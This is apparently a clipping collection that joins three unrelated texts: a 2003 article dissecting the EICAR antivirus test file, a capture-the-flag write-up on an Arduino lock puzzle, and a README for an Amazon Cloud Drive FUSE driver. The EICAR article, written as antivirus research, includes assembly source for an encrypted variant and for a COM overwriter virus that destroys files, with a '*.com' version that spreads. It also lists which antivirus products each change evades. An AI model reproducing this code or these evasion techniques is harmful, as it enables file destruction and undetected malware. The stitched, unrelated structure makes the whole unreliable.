**Author:**| __  
**Tags:**| _Malware-analysis LOLZ antivirus_  
  

[code]

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    Let's have fun with EICAR test file
    
    This text is about eicar.com, a famous industry-standard test file designed
    to check antivirus software working status. We'll first discuss fairly
    in detail of what it's made, after which we'll "play" a little with it.
    You are supposed to have a reasonable background with COM files and assembly
    language programming.
    
    They call this Introduction
    
    EICAR stands for "European Institute for Computer Antivirus Research".
    What they are involved in won't require a great work of your brain (go
    to www.eicar.org otherwise)...
    
    A few years ago, they released a file, cleverly named eicar.com, designed
    to help users to check their own antivirus (AV) software. Its official
    name is "EICAR Standard Antivirus Test File" (ESATF). Here are some pieces
    of information about it:
    
    - - It's short, only 68 (44h) bytes in length. You won't spend too much
    time or money downloading it. Furthermore, you can duplicate and distribute
    it quickly.
    - - It's made up of exclusively printable ASCII characters. Thus you can
    easily create it with any plain text editor if you have no mean to download
    it. Here's its contents:
    
     X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    
    Figure 1. ESATF ASCII form.
    
    As you can see, there are solely capital letters, digits or punctuation
    marks; no space or character from outer space. The third symbol is the
    upper case letter "O", not zero.
    
    - - It's not a virus at all (using a true one to test your AV would be
    really irresponsible), just a legit and safe DOS COM file! When running,
     it only prints the "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" string on your
    screen (more details about its implementation below). The choice of COM
    file is just a practical consideration: a way to be sure to "run" correctly
    from DOS OSes to the last Windows OSes...
    
    Every AV should react when facing ESATF. It's a now well known industry-
    standard test file and all credible running AV must "detect" it. Actually,
     it should behave "as if" ESATF was a virus: appropriate warning message
    (some display something like "File infected with EICAR-Test-File" but
    they ought to be less stressful; ESATF isn't a virus and AVs shouldn't
    frighten novices) locking access to the file, putting in quarantine,
    etc. Note it's a safe and easy way to ensure yourself your AV is really
    and correctly working (maybe the opportunity to observe your first digital
    "viral" incident)... and that's what ESATF has been designed for!
    
    EICAR provides also two zipped versions of ESATF in order to test dispositions
    of AVs to deal with zip archive files. One is the "code" seen above (Figure
    1) just zipped. The last one is the zipped version... zipped one more
    time (a double zip archive). Therefore, you can assess the AV unzip level
    as well.
    
    Looking inside ESATF guts
    
    Here's the disassembled code of eicar.com. Traditionally, memory locations
    are specified using the segment:offset notation, but as segment values
    don't matter within the context of this article, they are omitted:
    
    
     Step Offset Opcodes Instruction
    
     01 0100 58 pop  ax
     02 0101 354F21 xor  ax,214Fh
     03 0104 50 push ax
     04 0105 254041 and  ax,4140h
     05 0108 50 push ax
     06 0109 5B pop  bx
     07 010A 345C xor  al,5Ch
     08 010C 50 push ax
     09 010D 5A pop  dx
     10 010E 58 pop  ax
     11 010F 353428 xor  ax,2834h
     12 0112 50 push ax
     13 0113 5E pop  si
     14 0114 2937 sub  [bx],si
     15 0116 43 inc  bx
     16 0117 43 inc  bx
     17 0118 2937 sub  [bx],si
     18 011A 7D24 jge  0140
     19 011C 45494341
    522D5354
    414E4441
    52442D41
    4E544956
    49525553
    2D544553
    542D4649
    4C452124 DB   "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
     20 0140 48 dec  ax
     21 0141 2B482A sub  cx,[bx+si+2A]
    
    Figure 2. ESATF disassembling.
    
    It seems to be a weird code just for printing a string on the screen
    uh?! But don't forget one requirement from the authors: it must be possible
    to create the file using a plain text editor, so they had to use only
    alphabetic symbols, digits and common punctuation marks. To remove any
    doubt, lower case letters and space were excluded. Thus, only subsets
    of ASCII characters are available, ranging from 21h (exclamation mark:
    !) to 60h (single opening quotation mark: ') and from 7Bh (opening brace:
    {) to 7Dh (closing brace: }).
    
    Here are ESATF characters hexadecimal codes:
    
    
       00 01 02 03 04 05 06 07
    
     00 58 35 4F 21 50 25 40 41
     01 50 5B 34 5C 50 5A 58 35
     02 34 28 50 5E 29 37 43 43
     03 29 37 7D 24 45 49 43 41
     04 52 2D 53 54 41 4E 44 41
     05 52 44 2D 41 4E 54 49 56
     06 49 52 55 53 2D 54 45 53
     07 54 2D 46 49 4C 45 21 24
     08 48 2B 48 2A
    
    Figure 3. ESATF hexadecimal codes.
    
    In a more classic way, we may write ESATF like this (Microsoft MASM code):
    
     01 .386
     02 .MODEL TINY
     03
     04 CODE SEGMENT USE16
     05
     06      ORG 100h
     07
     08      @START: jmp @GO
     09
     10              msg DB "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
     11
     12         @GO: mov DX,OFFSET msg
     13              mov ax,0900h
     14              int 21h
     15              int 20h
     16
     17 CODE ENDS
     18
     19      END @START
    Figure 4. ESATF-Like source code.
    
    When running, result is the same as with ESATF, but the assembled final
    file has a smaller size (48 bytes). Here is the disassembling of ESATF-
    Like:
    
    
     Step Offset Opcodes Instruction
    
     01 0100 EB24 jmp 0126h
     02 0102 45494341
    522D5354
    414E4441
    52442D41
    4E544956
    49525553
    2D544553
    542D4649
    4C452124 DB  "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
     03 0126 BA0201 mov dx,0102h
     04 0129 B80009 mov ax,0900h
     05 012C CD21 int 21h
     06 012E CD20 int 20h
    
    Figure 5. ESATF-Like disassembling.
    
    Unfortunately, you can notice plenty of hexadecimal codes out of the
    "allowed" range [21h-60h,7Bh-7Dh], particularly interrupts calls opcodes!
    That's why ESATF designers chose to use a very common trick from the
    "viral scene" to encode it: self-modifying code...
    
    Let's debug (or spelunking ESATF)!
    
    For an easier reading of the following, keep Figure 2 close to your eyes.
    Once "launched", eicar.com is loaded in memory at address 100h, just
    after the 256 (100h) bytes in size PSP (Program Segment Prefix). The
    first instruction is:
    
    
    01  0100  58  pop ax
    
    In English, we move two bytes of the stack from the SS:[SP] address into
    the AX register. Initially, SP is set to FFFEh and the 16 bits value
    stored there is 0. Thus, we just move 0 into AX.
    AX = 0 and SP = 0.
    
    
    02  0101  354F21  xor ax,214Fh
    
    0 XOR 214Fh = 214Fh. Opcodes show the 214Fh value "inverted" (4F21);
    it's just because Intel microprocessors use Little Endian convention
    to store bytes in memory: the least significant byte (also called low
    byte) is stored first, at the lowest address, while the most significant
    byte (high byte) is stored at the highest address.
    AX = 214Fh and SP = 0.
    
    
    03  0104  50  push ax
    
    SP is decremented by 2 and AX contents (214Fh) pushed at SS:[SP]. Well,
     because it's a memory location, the actual value stored is 4F21h; in
    order to keep things simple, I cheat a bit...
    AX = 214Fh, SP = FFFEh and SS:[SP] = 214Fh.
    
    
    04  0105  254041  and ax,4140h
    
    214Fh AND 4140h = 140h. It's the address of the first instruction in
    memory after the "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" string (go back
    to Figure 2). Once again, be aware of the Little Endian order in memory.
    AX = 140h, SP = FFFEh and SS:[SP] = 214Fh.
    
    
    05  0108  50  push ax
    
    A stack operation more!
    AX = 140h, SP = FFFCh, SS:[SP] = 140h and SS:[SP+2] = 214Fh.
    
    
    06  0109  5B  pop bx
    
    Using a pop instruction just after a push one is simply equivalent to
    a mov instruction.
    AX = 140h, BX = 140h, SP = FFFEh and SS:[SP] = 214Fh.
    
    
    07  010A  345C  xor al,5Ch
    
    AX holds 140h, hence AH = 00000001b and AL = 01000000b. AL XOR 5Ch =
    01000000b XOR 01011100b = 00011100b = 1Ch. AX = 0000000100011100b = 11Ch.
    Notice it's the memory offset of the string to be displayed (check it
    in Figure 2).
    AX = 11Ch, BX = 140h, SP = FFFEh and SS:[SP] = 214Fh.
    
    
    08  010C  50  push ax
    09  010D  5A  pop  dx
    
    DX now contains the ESATF warning string address. Compare with code in
    Figure 4 and you should grasp what ESATF intends to build in memory...
    AX = 11Ch, BX = 140h, DX = 11Ch, SP = FFFEh and SS:[SP] = 214Fh.
    
    
    10  010E  58  pop ax
    
    AX = 214Fh, BX = 140h, DX = 11Ch and SP = 0.
    
    
    11  010F  353428  xor ax,2834h
    
    AX XOR 2834h = 214Fh XOR 2834h = 97Bh.
    AX = 97Bh, BX = 140h, DX = 11Ch and SP = 0.
    
    
    12  0112  50  push ax
    13  0113  5E  pop  si
    
    AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0.
    
    
    14  0114  2937  sub [bx],si
    
    There are a few tricks here! First, the two bytes at [bx] location (address
    140h) are 48h and 2Bh (look step 20 opcode and first byte of step 21
    opcode in Figure 2); But remember Little Endian order! Hence, the 16
    bits value returned is 2B48h and the instruction above is equivalent
    to: [140h] = 2B48h - 097Bh = 21CDh... and still because Little Endian,
     the actual value written at 140h is CD21h, that is, opcodes of the int
    21h instruction!
    
    All we did until now can easily be summarized:
    
    
    mov dx,OFFSET Msg
    mov ax,097Bh
    int 21h
    
    Nothing more! If you compare with ESATF-Like code in Figure 4, the little
    difference is that AL holds the 7Bh value instead of 0. It's of no consequence,
     because only AH contents (sub-function number) matters.
    AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0.
    
    
    15  0116  43  inc bx
    16  0117  43  inc bx
    
    BX = BX+2 = 142h. It's the address of the last two bytes in memory of
    eicar.com (again, refer to Figure 2).
    AX = 97Bh, BX = 142h, DX = 11Ch, SI = 97Bh and SP = 0.
    
    
    17  0118  2937  sub [bx],si
    
    The same stratagem seen at step 14 above is used once more! At address
    142h, the 16 bits value stored is 482Ah; once reverted we have 2A48h.
    Hence, 2A48h - SI = 2A48h - 97Bh = 20CDh (actually stored CD20h at 142h
    location). These two bytes (CD20h) are opcodes of the int 20h instruction,
     the traditional way to end a COM program... and the last instruction
    of our ESATF-Like program!
    
    
    18  011A  7D24  jge 0140
    
    After step 17 processing, ZF flag is not set (just use the DOS Debug
    tool and trace eicar.com; at step 18 you'll see NZ value for ZF flag),
     then we simply jump to 140h in memory, where the "first" instruction
    of ESATF (int 21h) is; actually, we start a "new" code, the same as in
    Figure 4. Et voilà! Simple and easy uh?
    
    So what?
    
    Well, after this brief and cool introduction, it's time to have fun!
    The idea is: ESATF is not a virus, but it's used "as if" it was a real
    one. So what if we alter its code giving it true viral behaviors? What
    if we just "play" a little with its code? As you will see... weird stuff!
    
    Okay, some will say "Hey dude, ESATF is not designed to test and stress
    AVs algorithms, but to check if AVs are working...". I know that, but
    I partially agree with them; after all, ESATF is used to "check", so,
     in order to get a "full" checking, I think it should be treated like
    a true virus, even if it's not supposed to "evolve" like the real ones
    do. To check or not to check... Then, using ESATF is a cool and legal
    way to learn how AVs do their job: we won't disassemble any AV or break
    any licence agreements in our tests! The nice part is to watch how heuristics
    work with a code in principle detected by its signature (somehow, a way
    to assess the limits of this method). Above all, just remind the title
    of this text...
    
    First of all, to play... we need AVs! I'm not a specialist about AVs
    at all, then I just chose the "famous" ones (at least, those I heard
    about). I went to the Web to download trial versions of these products;
    if there was no one available, the online version is used. Here is the
    list:
    
    
     Acronym Name Version Company
    
     AAV AVG Antivirus 7.0.124 Grisoft
     BAV Bitdefender 7.1 Softwin
     CAV PC-cillin 10.02.1072 Trend Micro
     FAV F-Prot 3.13a Frisk Software International
     KAV Kaspersky Antivirus 4.0.5.37 Kaspersky
     NAV Norton Antivirus 9.07.24d Symantec
     PAV Panda ActiveScan 4.2 (online) Panda Software
     RAV RAV Antivirus 8.6.105 GeCAD Software
     VAV McAfee VirusScan 7.02.6000 Networks Associates
    
    Figure 6. AVs hired for fun...
    
    ESATF compliance
    
    We simply ask AVs to check the real eicar.com zipped into a file called
    eicar1.zip:
    
    
     AV Message
    
     AAV EICAR_Test.
     BAV EICAR-STANDARD-TEST-FILE.
     CAV Eicar_test_file.
     FAV EICAR_Test_File (exact).
     KAV EICAR-Test-File.
     NAV EICAR Test String.
     PAV EICAR-AV-TEST-FILE.
     RAV EICAR_Test_File.
     VAV EICAR test file.
    
    Figure 7. Compliance test.
    
    Good news! As I said above, ESATF (even zipped) is a well known industry-
    standard test file... It's another legitimate reason to use ESATF for
    our games: everyone knows it!
    
    Fun stuff - Part I
    
    Now, let's play with the character string in ESATF. Instead of "EICAR-
    STANDARD-ANTIVIRUS-TEST-FILE!" we use "EICAR-STANDING-ANTIVIRUS-TEST-
    FILE!"; only the last three letters of the word "STANDARD" have been
    modified ("ARD" replaced by "ING"), the size of the virus is still the
    same, instructions too. The test file name is eicar2.zip. Here are the
    results (when an AV says "No viral code detected" or something like,
    we mention N/D for "not detected"):
    
    
     AV Message
    
     AAV EICAR_Test ( modified ).
     BAV N/D.
     CAV N/D.
     FAV EICAR_Test_File.unknown?
     KAV N/D.
     NAV N/D.
     PAV EICAR-AV-TEST-FILE.
     RAV N/D.
     VAV N/D.
    
    Figure 8. String altered test.
    
    Only three AVs are aware of the alteration! Are others using the original
    ESATF string as signature? If so, it's not very clever (should they learn
    about wildcard string? For the "fun", they could have search for the
    EICAR? pattern!)...
    
    Some can say that ESATF altered... is not ESATF! Blind AVs are right
    then? I don't think so. Tons of viruses variants are simply alterations
    of some bytes of the genuine virus. For example, often, lamers just modify
    the copyright or the name of the author. Therefore, it's not a good method
    to detect viruses using fixed bytes that are never executed: most of
    the time, it leads to absurdities (recently, a guy showed that NAV detected
    any file containing the string "Eddie lives...somewhere in time!" as
    being infected by the Dark Avenger virus...). This kind of privilege
    (probably used to speed up the scanning process) shouldn't be granted,
     even to ESATF! I guess AVs ought to "see" a variant. On the other hand,
     68 bytes don't give us many choices for a signature...
    
    At last, a strange idea comes to my mind: do some AVs bypass stages if
    a "known" virus doesn't look like what it's supposed to be? I mean, if
    a virus isn't, for example, supposed to be encrypted, is this possibility
    purely bypassed during scanning? In other words, does it mean that only
    signatures of viruses known to be encrypted are taken in account while
    AVs are processing encrypted parts of a suspicious code? If so, detection
    of known viruses variants is confronted with a strong limitation...
    
    Fun stuff - Part II
    
    Let's go one step further, what about emulation? In the first test, we
    just add a NOP (90h) instruction at the beginning of ESATF. Of course,
     we must take in consideration that this byte shifts addresses forward
    in memory! Fortunately, we only need to increment one byte of ESATF:
    at step 4 in Figure 2, we must replace 254041 opcodes values with 254141:
    
    
     AV Message
    
     AAV N/D.
     BAV N/D.
     CAV N/D.
     FAV New or modified variant of Trivial.
     KAV N/D.
     NAV N/D.
     PAV N/D.
     RAV N/D.
     VAV N/D.
    
    Figure 9. NOP test.
    
    One AV show some interest for our test... but F-Prot is on the bad path;
    Trivial is a family of short in size COM infectors damaging one single
    file at a time. Nothing to do with ESATF!
    
    In the second test, we bypass ESATF: we simply jump to the end of the
    code where an int 20h instruction ends the process. ESATF is never executed
    but is in working order! Some external code could easily call it (with
    Debug, load the following code and trace/run it starting from the 102h
    address: ESATF is functional!):
    
     01 .386
     02 .MODEL TINY
     03
     04 CODE SEGMENT USE16
     05
     06      ORG 100h
     07
     08      @START: jmp @END
     09              pop  ax
     10              xor  ax,214Fh
     11              push ax
     12              and  ax,4142h
     13              push ax
     14              pop  bx
     15              xor  al,5Ch
     16              push ax
     17              pop  dx
     18              pop  ax
     19              xor  ax,2834h
     20              push ax
     21              pop  si
     22              sub  [bx],si
     23              inc  bx
     24              inc  bx
     25              sub  [bx],si
     26              jge  @RUN
     27              DB   "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
     28        @RUN: dec  ax
     29              sub  cx,[bx+si+2Ah]
     30        @END: int  20h
     31
     32 CODE ENDS
     33
     34      END @START
    Figure 10. ESATF "bypassed" source code.
    
    
     AV Message
    
     AAV N/D.
     BAV N/D.
     CAV N/D.
     FAV N/D.
     KAV N/D.
     NAV N/D.
     PAV N/D.
     RAV N/D.
     VAV N/D.
    
    Figure 11. JMP test.
    
    No one cares! Does it mean that emulation and heuristics are a de luxe
    tool? What kind of code can trigger their reaction? Note that if we don't
    "adjust" ESATF code (making it inoperative then), Figure 11 results are
    the same. However, PC-cillin and RAV react to the NOP test; at least,
     you can guess what signature they use for ESATF :-).
    
    Fun stuff - Part III
    
    A lot of viruses use encryption. Let's do the same with ESATF! In order
    to keep things simple, we just XOR each of its bytes with the value 55h:
    
    
       00 01 02 03 04 05 06 07
    
     00 0D 60 1A 74 05 70 15 14
     01 05 0E 61 09 05 0F 0D 60
     02 61 7D 05 0B 7C 62 16 16
     03 7C 62 28 71 10 1C 16 14
     04 07 78 06 01 14 1B 11 14
     05 07 11 78 14 1B 01 1C 03
     06 1C 07 00 06 78 01 10 06
     07 01 78 13 1C 19 10 74 71
     08 1D 7E 1D 7F
    
    Figure 12. ESATF XORed with 55h.
    
    Now, let's give ESATF a true suspicious viral behavior: a decryption
    loop. Here is the code:
    
     01 .386
     02 .MODEL TINY
     03
     04 CODE SEGMENT USE16
     05
     06      ORG 100h
     07
     08      @START: jmp   @GO
     09      @EICAR:
     10              DB    0Dh,60h,1Ah,74h,05h,70h,15h,14h
     11              DB    05h,0Eh,61h,09h,05h,0Fh,0Dh,60h
     12              DB    61h,7Dh,05h,0Bh,7Ch,62h,16h,16h
     13              DB    7Ch,62h,28h,71h,10h,1Ch,16h,14h
     14              DB    07h,78h,06h,01h,14h,1Bh,11h,14h
     15              DB    07h,11h,78h,14h,1Bh,01h,1Ch,03h
     16              DB    1Ch,07h,00h,06h,78h,01h,10h,06h
     17              DB    01h,78h,13h,1Ch,19h,10h,74h,71h
     18              DB    1Dh,7Eh,1Dh,7Fh
     19         @GO: mov   cx,44h
     20              mov   si,@EICAR
     21              mov   di,@START
     22    @DECRYPT: lodsb
     23              xor   al,55h
     24              stosb
     25              loop  @DECRYPT
     26              JMP   @START
     27
     28 CODE ENDS
     29
     30      END @START
    Figure 13. ESATF encrypted source code.
    
    Notice that after the decryption process, ESATF original code is in memory,
     beginning at address 100h; that is, if AVs are using a bit of emulation,
     they won't be fooled:
    
    
     AV Message
    
     AAV N/D.
     BAV N/D.
     CAV N/D.
     FAV New or modified variant of Trivial.
     KAV EICAR-Test-File.
     NAV N/D.
     PAV N/D.
     RAV EICAR_TEST_FILE.
     VAV N/D.
    
    Figure 14. Encryption test.
    
    Actually, just three AVs do their job (but F-Prot is still wrong)! As
    a matter of interest, this article is following a discussion I had on
    the fr.comp.securite.virus newsgroup; the first time I published the
    Figure 13 source code, KAV didn't react. But someone send it to Kaspersky's
    and a few hours later the detection worked...
    
    I find this a little bit funny. For sure, we must note the speed of reaction
    and the importance to warn AV editors, but, however, what if we use thousand
    of different "modified" ESATF? Do they add signatures indefinitely?
    
    Let's try with a 67h XORed version: KAV finds ESATF again. Okay! what
    with an ORed crypted version then? This time, KAV is defeated. Did they
    take care of XOR encryption only? Strange strategy...
    
    Fun stuff - Part IV
    
    Well, now... the great show: file search and replication parts are included!
    The final code is similar to what we found in the past inside true lamer
    COM overwriter viruses:
    
     01 .386
     02 .MODEL TINY
     03
     04 CODE SEGMENT USE16
     05
     06      ORG 100h
     07
     08      @START: jmp   @GO
     09      @EICAR:
     10              DB    0Dh,60h,1Ah,74h,05h,70h,15h,14h
     11              DB    05h,0Eh,61h,09h,05h,0Fh,0Dh,60h
     12              DB    61h,7Dh,05h,0Bh,7Ch,62h,16h,16h
     13              DB    7Ch,62h,28h,71h,10h,1Ch,16h,14h
     14              DB    07h,78h,06h,01h,14h,1Bh,11h,14h
     15              DB    07h,11h,78h,14h,1Bh,01h,1Ch,03h
     16              DB    1Ch,07h,00h,06h,78h,01h,10h,06h
     17              DB    01h,78h,13h,1Ch,19h,10h,74h,71h
     18              DB    1Dh,7Eh,1Dh,7Fh
     19     FileName DB    "goat.com",0
     20         @GO: mov   ax,4E00h
     21              mov   cx,00100111b
     22              mov   dx,OFFSET FileName
     23              int   21h
     24              jc    @RUN
     25
     26              mov   ah,3Dh
     27              mov   al,10010010b
     28              mov   dx,09Eh
     29              int   21h
     30              jc    @RUN
     31              mov   bx,ax
     32
     33              mov   cx,@END-@START
     34              mov   dx,@START
     35              mov   ax,4000h
     36              int   21h
     37
     38              mov   ax,3E00h
     39              int   21h
     40
     41        @RUN: mov   cx,44h
     42              mov   si,@EICAR
     43              mov   di,@START
     44    @DECRYPT: lodsb
     45              xor   al,55h
     46              stosb
     47              loop  @DECRYPT
     48              JMP   @START
     49        @END:
     50
     51 CODE ENDS
     52
     53      END @START
    Figure 15. ESATF "overwriter" source code.
    
    It's a very simple program! First, we look for a COM file; in order to
    restrict the virus action, we search for a file called goat.com (just
    create an empty file and save it with that name) in the directory where
    eicar.com is. It's the unique possible target. Then, we open this file
    and copy our virus code into it. Actually, we overwrite the target contents;
    it's clearly a destruction action! Finally, we close the file and run
    ESATF code after its decryption.
    
    You may think "well, overwriters viruses are known for ages, heuristics
    will defeat this kind of code". After all, looking for a file and replication
    are not very discreet treatments... Look:
    
    
     AV Message
    
     AAV N/D.
     BAV N/D.
     CAV N/D.
     FAV New or modified variant of Trivial.
     KAV N/D.
     NAV N/D.
     PAV N/D.
     RAV EICAR_TEST_FILE.
     VAV A virus was detected.
    
    Figure 16. Specific overwriter test.
    
    Note that McAfee detects a virus but is unable to name it. RAV still
    recognizes ESATF... but it goofed up! ESATF is "just" the payload now.
    It's not a good idea to keep EICAR name because it could mislead the
    user. Even not really accurate, McAfee approch is more "safe". F-Prot
    finds a Trivial variant; this time, it's a good answer.
    
    Well, some will say that the code above is not very dangerous, it has
    no chance to spread wide. AVs don't react because a code writting into
    a file is very common... I could reply that COM files are rarely used
    to store data but it's better to give another test!
    
    This time, let's replace "goat.com" by "*.com" at step 19 in Figure 15
    source code:
    
    
     AV Message
    
     AAV Found unknown virus .EXE.COM.
     BAV Is infected with Trivial.136.Gen.
     CAV N/D.
     FAV New or modified variant of Trivial.
     KAV Type_Trivial.
     NAV Bloodhound.DirActCOM.
     PAV N/D.
     RAV Trivial-based.136.
     VAV Univ.ow/e.
    
    Figure 17. Blind overwriter test.
    
    Phew! This time heuristics do their duty: if code appears to be really
    harmful, they shout. Note that NAV uses a very strange naming. Once connected
    to their "security response" page, I only get a "No additional information."...
    not very explicit!
    
    Our file was named eicar6_a.com. Just let's rename it eicar6_b.abc. You
    know what? NAV and McAfee see nothing now! Detection based on file extension?
    AVs are amazingly fascinating. Definitely.
    
    A last one? Still at step 19, we now write ").com" instead of "*.com".
    At step 23, we insert:
    
     23 mov bx,dx
     24 inc byte ptr [bx]
    
    It's simply a nod in the direction of ESATF authors: its our turn now
    to "play" in memory! Here are the results:
    
    
     AV Message
    
     AAV Found unknown virus .EXE.COM.
     BAV N/D.
     CAV N/D.
     FAV New or modified variant of Trivial.
     KAV Type_Trivial.
     NAV Bloodhound.DirActCOM.
     PAV N/D.
     RAV Trivial-based.140.
     VAV Univ.ow/e.
    
    Figure 18. Specific overwriter test.
    
    Bitdefender gives up (but it was predictable in the light of some previous
    tests) and RAV shows an impressive collection of Trivial variants...
    
    It's time to wrap up!
    
    Well, we saw a lot of stuff but I'll be concise!
    
    - - Detection of known viruses variants using only signatures has its limits.
    - - Obviously, there are as many algorithms as there are AVs. But no one
    can claim the absolute truth.
    - - Emulation isn't always used or inneficient.
    - - Even with known viruses, AVs aren't absolutely reliable; just modify
    a few bytes and they are blind.
    - - In case of true harmful code, heuristics are aware. But there are some
    breachs...
    - - Signatures aren't always optimal.
    - - AVs have weird behaviors: often it's all or nothing, a good identification
    or... the void. Above all, why not a common naming for viruses?
    - - Viruses research is a hard topic, whether it is for known or unknown
    viruses.
    - - Is RAV a good choice for Microsoft (don't kick my head!)?
    
    Notes
    
    - - The OS used for this article was Windows XP Home Edition with full
    privileges :-).
    - - Believe me dear friends, it's really hard to use several AVs at the
    same time (for sure, next time, I'll only use online versions)! Moreover,
     a lot of work must be done to simplify their configuration: I spent
    too much time scratching my head to simply understand some settings!
    What about novices in computer security?
    
    Bibliography
    
    "The Anti-Virus test file", at www.eicar.org.
    The original explanations about ESATF.
    
    "An Examination of the EICAR Standard AV Test Program", by The Starman.
    Thus, I'm not the only one who dared to dig into ESATF?
    
    Credits
    
    Deep thanks to Tweakie, alias "you should add this test" and Frédéric
    Bonroy.
    Musical inspiration: Cannibal Corpse.
    
    Enjoy, cya!
    
    
    v. 1.0 - 06/27/2003 AMcD
    
    
    - -
    -----BEGIN PGP SIGNATURE-----
    Note: This signature can be verified at https://www.hushtools.com/verify
    Version: Hush 2.3
    
    wkYEARECAAYFAj78f2IACgkQvWk44C4omKXJFQCgr2FW1TW5uN68iFALF+y0Yu3tdkUA
    njgLcyHNwQ+ZHVD1wb0twumMbZOn
    =XQyB
    -----END PGP SIGNATURE-----
    
    
    
    
    Concerned about your privacy? Follow this link to get
    FREE encrypted email: https://www.hushmail.com/?l=2
    
    Free, ultra-private instant messaging with Hush Messenger
    https://www.hushmail.com/services.php?subloc=messenger&l=434
    
    Big $$$ to be made with the HushMail Affiliate Program: 
    https://www.hushmail.com/about.php?subloc=affiliate&l=427
    
    
[/code]

# Clip: http://www.limited-
entropy.com/docs/pctf/writeup/rev350/reversing350.txt

**Created:**| _4/26/2011 9:05:39 PM_  
---|---  
**Updated:**| _4/26/2011 9:05:39 PM_  
**Author:**| __  
**Tags:**| _ctf_  
  

[code]

    Description
    Category: reversing
    
    In order to get access to another server room we need to gain access to a secure room. Unfortunately, this door has been locked with a custom high security lock produced at Amalgamated Electro Dynamics.
    
    Luckily, we've recovered both a copy of the circuit diagram for the lock, as well as the original source code from the microcontroller (an arduino, those damn n00bs). Your job is to select the proper input for the lock in order to open the door.
    
    The good news is that there are only 10 bits of inputs. The bad news is it takes a few seconds to try each possible combination. Also, because of low battery power, we need to boost the signals for the door lock before the input to the arduino. That means you need to specify the input to the original circuit and the output from the circuit (which is the same as the input to the arduino). When you get the right password, the door should unlock and reveal the key for the challenge.
    
    Good luck!
    
    http://a4.amalgamated.biz/cgi-bin/hardware0x.cgi
    
    (if there is trouble understanding this problem, ask in IRC or email) 
    
    *** Contents of http://a4.amalgamated.biz/cgi-bin/hardware0x.cgi ***
    
    
    This circuit is attached to this arduino sketch
    **Notice:** the original sketch does not compile with the most recent Arduino software. A verson that should be equivalent and compilable can be found here
    The original sketch functions correctly when emulated in "Virtual BreadBoard".
    
    Your task is to select the input for the circuit diagram (the 10 pins) which will lead to the correct 8 pins (whose output you must also specify) of the arduino (pin1-pin8 on J2 on the left corresponds to digital input 0-7 on the arduino) output high to digital pin 8 on the Arduino, unlocking the secret door in the amalgamated control room. Use the checkboxes to select the proper input bits.
    
    *** /END ***
    
    The circuit diagram is in http://www.limited-entropy.com/docs/pctf/writeup/rev350/circuit.png, the Arduino sketch in http://www.limited-entropy.com/docs/pctf/writeup/rev350/lock.pde . I wrote a C program that mimics the Arduino sketch and tries all possible inputs (256) to find the one we look for. This is http://www.limited-entropy.com/docs/pctf/writeup/rev350/arduino.c , after running it you get:
    
    $ ./arduu 
    237 : clamber
    $
    
    I also represented the logic circuit in a python script ( http://www.limited-entropy.com/docs/pctf/writeup/rev350/arduino_circuit.py ) and ran through all possible inputs to see which ones generate 237. This is the result:
    
    Z:\devel>python arduino_circuit.py
    YEAH:  0b1100100111
    YEAH:  0b1100101111
    
    Z:\devel>
    
    
    The first one, together with 237 (MSB first) are the solution to be entered in the web site using the checkboxes.
[/code]

# handyman5/acd\_fuse

**Created:**| _10/30/2012 10:35:34 AM_  
---|---  
**Updated:**| _10/30/2012 10:35:34 AM_  
**Author:**| __  
**Tags:**| _cloud computing filesystems_  
  

# NEWS

##  2012-03-01

New feature: proper Unicode support\!

I ran into trouble while uploading my MP3 collection, as some files have non-
ASCII filenames. This update should properly support those filenames. Logging
and error messages should also properly display Unicode data as well.

Realistically, I always find Unicode support to be kind of a crapshoot; if you
find a filename that `acd_fuse` can't handle, please open an issue with the
name so I can try to replicate and fix the problem. Standard disclaimers about
data-eating _definitely_ apply.

##  2012-01-09

Some big performance improvements to `acd_fuse` in this update. Specifically:

  * The on-disk filecache now has a garbage collection routine that will prevent it from filling the entire filesystem it lives on. By default, it will kick on and start cleaning up files when that filesystem gets below 10% free space; you can change this behavior with the mount option `cachefree`
  * The FUSE mount options `direct_io`, `big_writes`, and `large_read` are now enabled by default \(and cannot, actually, be disabled\). If I'm to be 100% honest, I'm not really sure what the full significance of each of these options is; but I have noticed significant speed improvements with them enabled.

##  2011-12-31

I've made some significant updates to `acd_fuse`. Its functionality is
expanded, and I now believe it to be ready for prime time.

Changes:

  * On-disk file caching\! 
    * Transferred files are cached to a `tempfile.gettempdir()` path for faster re-uploads and re-downloads
    * File caches persist between filesystem invocations and detect when the remote file has changed
  * Implemented debug logging to a file, rather than the console 
    * Default log file is `/tmp/acd_fuse/debug.log`
  * Automatically save and restore session information in a `tempfile.gettempdir()` path; no config option necessary 
    * Default session file is `/tmp/acd_fuse/sessionfile`
  * Session information now saved in JSON format, and no longer includes login name and password
  * rsync now supported cleanly and without hacks, although you'll need to use `--inplace` to use the file caching feature \(and `--size-only` avoids copying the files to the disk cache for a significant speedup if you don't expect another cache hit\)
  * Eight-device limit issue _may_ be resolved; this requires further testing
  * Various performance improvements

#  Introduction

`acd_fuse` is a FUSE filesystem driver for Amazon's Cloud Drive. It uses the
PyAmazonCloudDrive API library. It supports pretty much everything Cloud Drive
does, e.g. directory navigation and file uploading/downloading, but not file
permissions. In particular, it supports using rsync to transfer files, and
also Unicode filenames.

#  Standard Disclaimer

This filesystem is **EXPERIMENTAL** and may **EAT YOUR BABIES** etc. I am not
responsible for any loss or damage caused by its use.

#  ACTUAL THING YOU SHOULD WORRY ABOUT

Amazon Cloud Drive limits you to eight devices on your account, total, ever.
It seems to be the case that loading up this filesystem counts against that
limit \(although possibly it doesn't start counting until you attempt to
download a file\). `acd_fuse` attempts to mitigate this by storing your login
information \(cookies and such\) in a session file which is automatically
populated and re-used between sessions. I think this problem is resolved, but
I locked out my test account, so **BE CAREFUL** about using this with an
account you care about\!

#  Requirements

  * Tested with Python 2.6 on Ubuntu 10.04; it might possibly work elsewhere. Let me know\! 
    * Works on Gentoo: `emerge fuse-python`
    * Works on Amazon \(AMI\) Linux: `yum install fuse fuse-python`
